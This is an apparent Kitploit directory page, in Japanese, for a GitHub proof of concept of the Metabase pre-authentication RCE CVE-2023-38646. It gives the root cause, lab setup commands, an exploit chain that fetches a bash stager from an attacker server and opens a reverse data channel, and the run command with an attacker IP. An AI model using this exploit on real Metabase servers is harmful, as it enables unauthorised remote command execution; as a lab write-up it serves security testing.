Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kushiro45/metabase-cve-2023-38646
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

リポジトリには、cve 2023-38646のPoCと再現手順が含まれています。

リポジトリを見る
51ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-38646 — Metabase 事前認証リモートコード実行

概要

CVSS 9.8。Metabase の 0.46.6.1 / 1.46.6.1 より前のバージョン(および同等の以前のブランチ)は、初期セットアップ中にデータベース接続情報を検証するための /api/setup/validate エンドポイントを介して、事前認証 RCE を露呈します。このエンドポイントは、セットアップがすでに完了した後でも認証なしで到達可能です。

根本原因

このエンドポイントはデータベース接続ペイロードを受け入れ、巧妙に細工された JDBC 接続文字列で engine: h2 が指定されると、H2 の CREATE TRIGGER ... AS $$//javascript 構文を介して任意の JavaScript を埋め込むことができます。トリガー本体は検証時に実行されるため、攻撃者は JVM 内での JavaScript 実行を得られます。これは java.lang.Runtime.getRuntime().exec() を介して OS コマンド実行に自明に昇格します。

根本的な問題は、H2 データベースエンジンが「データソースの検証」の一環として接続文字列に埋め込まれたコードを信頼することと、Metabase がこの検証パスを事前認証で公開していることの組み合わせにあります。

環境

  • 対象: 公式の metabase/metabase:v0.46.6 Docker イメージ
  • 攻撃者側ツール: Python 3、requests、
termcolor
  • PoC ソース: Exploit-DB 51797 (Musyoka Ian、CVE-2023-38646)
  • セットアップ

    脆弱な Metabase を実行:

    root@kitploit:~
    docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
    docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"
    

    エクスプロイト依存関係をインストール:

    root@kitploit:~
    pip3 install requests termcolor
    

    エクスプロイトチェーン

    1. セットアップトークンの取得 — /api/session/properties は、一度きりの初期セットアップフローを制限するための setup-token を漏えいしますが、セットアップ完了後も有効で使用可能です。
    2. エクスプロイト可能性のプローブ — 攻撃者はローカル HTTP サーバーを起動します。細工された H2 トリガーにより、ターゲットはそのサーバーへのアウトバウンドコールバックを行い、H2 エンジン内での JS 実行が確認されます。
    3. コマンド実行 — 2 つ目の細工されたトリガーは java.lang.Runtime.getRuntime().exec() を使用して、攻撃者の HTTP サーバーから bash ステージャーを取得し、コマンド出力を base64 エンコードされた生の TCP リスナー経由で送り返します。

    実行

    root@kitploit:~
    python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
    
    • -l — 攻撃者のコールバック IP(ターゲットがローカルコンテナの場合、Docker ブリッジゲートウェイ、例: 172.17.0.1)
    • -p — リバースデータチャネルが接続し直すポート
    • -P — ステージャースクリプトを配信するローカル HTTP サーバーのポート
    • -u — ターゲットの Metabase ベース URL

    事前認証コールバックがエクスプロイト可能性を確認すると、インタラクティブな metabase_shell > プロンプトに落ちます。

    結果

    metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

    metabase サービスアカウントとしてのコマンド実行が確認されました — 事前認証、認証情報は不要です。深刻度は、ゼロ認証でのネットワーク到達可能な RCE に起因しており、結果として得られるシェルの権限レベルによるものではありません。

    修正

    Metabase 0.46.6.1 / 1.46.6.1 以降でパッチ適用済み — /api/setup/validate エンドポイントは現在、セットアップが本当に未完了であることを要求し、セットアップトークンは初期セットアップ完了時に無効化されます。

    免責事項

    隔離されたラボでの使用のみを対象としています。所有していない、またはテストする明示的な許可がない Metabase インスタンスに対して実行しないでください。

    ツールをダウンロード